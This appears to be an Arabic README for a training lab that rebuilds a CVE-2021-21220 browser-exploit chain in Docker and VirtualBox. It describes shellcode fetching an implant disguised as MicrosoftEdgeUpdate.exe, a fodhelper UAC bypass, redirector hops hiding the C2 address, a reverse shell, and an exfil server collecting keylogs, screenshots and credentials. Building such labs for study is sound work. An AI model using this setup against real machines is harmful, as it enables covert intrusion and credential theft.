
CVE-2021-21220 البنية التحتية للاستغلال
تتصفح الضحية صفحة ويب مستضافة. يبدأ الاستغلال عبر شيلكود مضمّن في utils.js (يعمل في جانب المتصفح لدى الضحية عبر CVE-2021-21220). يعمل الشيلكود على جهاز الضحية، ويستدعي خادم تسليم HTTPS، وينزّل MicrosoftEdgeUpdate.exe، وينفّذه. بمجرد تشغيله، يتصل الـ implant بخادم C2 عبر قفزة وسيطة (موجّه C2) باستخدام TLS لتلقي شهادة موقّعة، ثم يعيد الاتصال عبر TLS متبادل بالكامل. تستقبل وحدة تحكم C2 الاتصال وتقدّم قائمة shell عكسية تفاعلية، مما يتيح للمشغّل تنفيذ أوامر Windows عن بُعد على جهاز الضحية.
مخطط نموذج التهديد:
ملاحظة: توجد تعليمات بديلة أيضًا أكثر تعمقًا: https://docs.google.com/document/d/1q1xkLOoWJbd6i1exGZA5UIgr2MV8YcwYBWv_PG8luJI/edit?usp=sharing
استنسخ المستودع:
git clone https://github.com/JacobTaylor3/Docker-Lab-Milestone-2.git
cd Docker-Lab-Milestone-2
نزّل جهاز Windows الافتراضي (الضحية) من محرك الأقراص المشترك واستورده في VirtualBox. في VirtualBox: File → Tools → Network Manager — لاحظ عنوان IPv4 لمحول host-only الخاص بك (يجب أن يكون ضمن شبكة 192.168.56.0/24). أي عنوان IP يتم تعيينه (نوصي بـ 192.168.56.1) هو عنوان جهاز C2 الحقيقي الخاص بك.
ابدأ تشغيل Docker Desktop (أو برنامج Docker daemon على Linux).
مستخدمو Windows (WSL): يستخدم
launch.shأداةnetshلإضافة عناوين IP مستعارة إلى محول VirtualBox الخاص بك، الأمر الذي يتطلب صلاحيات المسؤول. انقر بزر الماوس الأيمن على توزيعة WSL الخاصة بك (Ubuntu أو أي توزيعة تستخدمها) في قائمة ابدأ واختر تشغيل كمسؤول قبل المتابعة.
شغّل سكربت الإطلاق:
sudo ./launch.sh
عند مطالبتك بـ c2-redirector IP، أدخل عنوانًا مختلفًا على نفس الشبكة الفرعية (مثل 192.168.56.10). يضيفه launch.sh كعنوان IP مستعار على vboxnet0 حتى يتمكن Docker من الربط به. تتصل الضحية بهذا العنوان المستعار فقط — يظل عنوان جهازك الحقيقي مخفيًا.
سيقوم السكربت بـ:
ENROLLMENT_TOKEN, DOWNLOAD_TOKEN)بمجرد أن يعمل المختبر، أرفق بوحدة التحكم C2:
sudo docker attach c2-server
اضغط Enter إذا لم يظهر الموجه فورًا. انفصل دون إيقاف: Ctrl+P ثم Ctrl+Q.
شغّل جهاز Windows الافتراضي. كلمة المرور هي victim. افتح متصفحًا وانتقل إلى:
http://<c2-redirector-IP>:8888
يعمل استغلال CVE-2021-21220 تلقائيًا. يقوم الشيلكود بتنزيل MicrosoftEdgeUpdate.exe من https://<c2-redirector-IP>:8443/update/<token>، ويشغّله عبر تجاوز UAC بـ fodhelper، ثم يتصل الـ implant مرة أخرى بوحدة تحكم C2.
تظهر جلسة الـ implant في قائمة وحدة التحكم. حددها بالرقم للدخول إلى حلقة الأوامر.
ست حاويات، كل منها يمثل جهازًا مستقلًا:
قناتان لحركة المرور، كل منهما تحتوي على قفزة redirector على عنوان IP منفصل:
:443 mTLS): الضحية → c2-redirector (C2_HOST_IP) → c2-server (عبر backnet فقط):9443 HTTPS): الضحية → exfil-redirector (EXFIL_HOST_IP) → exfil-receiver (عبر exfilnet فقط)يتم حفظ بيانات Exfil في exfil-data/<hostname>/ على الجهاز المضيف.
# Tail logs
sudo docker logs -f delivery-server
sudo docker logs -f exploit-server
sudo docker logs -f exfil-receiver
# Shell into a container
sudo docker exec -it c2-server /bin/bash
# Stop everything
sudo docker compose down
# View captured exfil data
ls exfil-data/
راجع documentation/ProjectOverview.md للاطلاع على البنية الكاملة، وخط أنابيب الرموز/التشفير، وتدفق الحمولة.
| الجهاز | الحاوية | المنفذ | الدور |
|---|
| 1 | c2-redirector | :443 | مرحّل TCP socat — قفزة مواجهة للضحية، يخفي عنوان C2 الحقيقي |
| 2 | c2-server | (عبر backnet فقط) | مستمع C2 عبر mTLS — واجهة أوامر المشغّل |
| 3 | delivery-server | :8443 | nginx HTTPS — تنزيل implant برمز استخدام لمرة واحدة |
| 4 | exploit-server | :8888 | صفحة ويب استغلال CVE-2021-21220 |
| 5 | exfil-redirector | :9443 | مرحّل TCP socat — قفزة مواجهة للضحية، يخفي عنوان exfil الحقيقي |
| 6 | exfil-receiver | (عبر exfilnet فقط) | مستقبل POST عبر HTTPS — يحفظ لقطات الشاشة وسجلات المفاتيح وبيانات الاعتماد |